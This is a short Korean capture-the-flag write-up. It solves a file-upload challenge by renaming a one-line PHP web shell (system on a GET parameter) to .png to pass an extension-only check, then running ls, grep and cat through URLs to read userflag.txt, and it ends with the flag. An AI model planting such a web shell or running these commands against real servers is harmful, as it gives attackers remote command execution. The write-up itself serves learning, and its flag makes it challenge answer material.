웹쉘 문제
입장하면 파일 업로더가 있다.
그리고, 응답 헤더를 살펴보면 PHP로 이루어졌음을 알 수 있다.
소라게 부터 웹셀을 만들라는 뉘앙스를 강하게 준다.
웹셀은 업로드 취약점을 통해 서버에 명령을 전달할 수 있는 코드이다.
PHP로 구성된 웹쉘을 서버에 업로드하고
내가 전달하는 명령어를 SYSTEM CALL로 수행하고
결과를 보여주도록 만들것이다.
<?php
// http request 로 받은 cmd 파라미터를 system call로 수행하고
// 결과를 보여줍니다.
echo system($_GET["cmd"]);
?>
다음과 같이 php 코드를 작성하고 .png 파일로 확장자를 바꿨다.
이미지만 올라가도록 검사하는데 확장자만 바꿔도 통과가 진행된다.
ls 리눅스 명령어를 통해 현재 디렉토리들의 파일들을 보여준다.
http://104.197.195.221:8086/show.php?filename=qF04YP&cmd=ls
flag 라는 문자열이 포함된 모든 파일을 찾도록 진행했다.
(참가자들이 올린 파일들이 짬뽕되어서 전부 나오고 있다.)
http://104.197.195.221:8086/show.php?filename=qF04YP&cmd=find%20.%20-type%20f%20-print%20|%20xargs%20grep%20-i%20%22flag%22%20/dev/null
userflag.txt라는 파일이 눈에 띈다.
열어보면 flag가 있다.
http://104.197.195.221:8086/show.php?filename=qF04YP&cmd=cd%20../../../home/hermit/flag;cat%20userflag.txt
정답: UMASS{a_picture_paints_a_thousand_shells}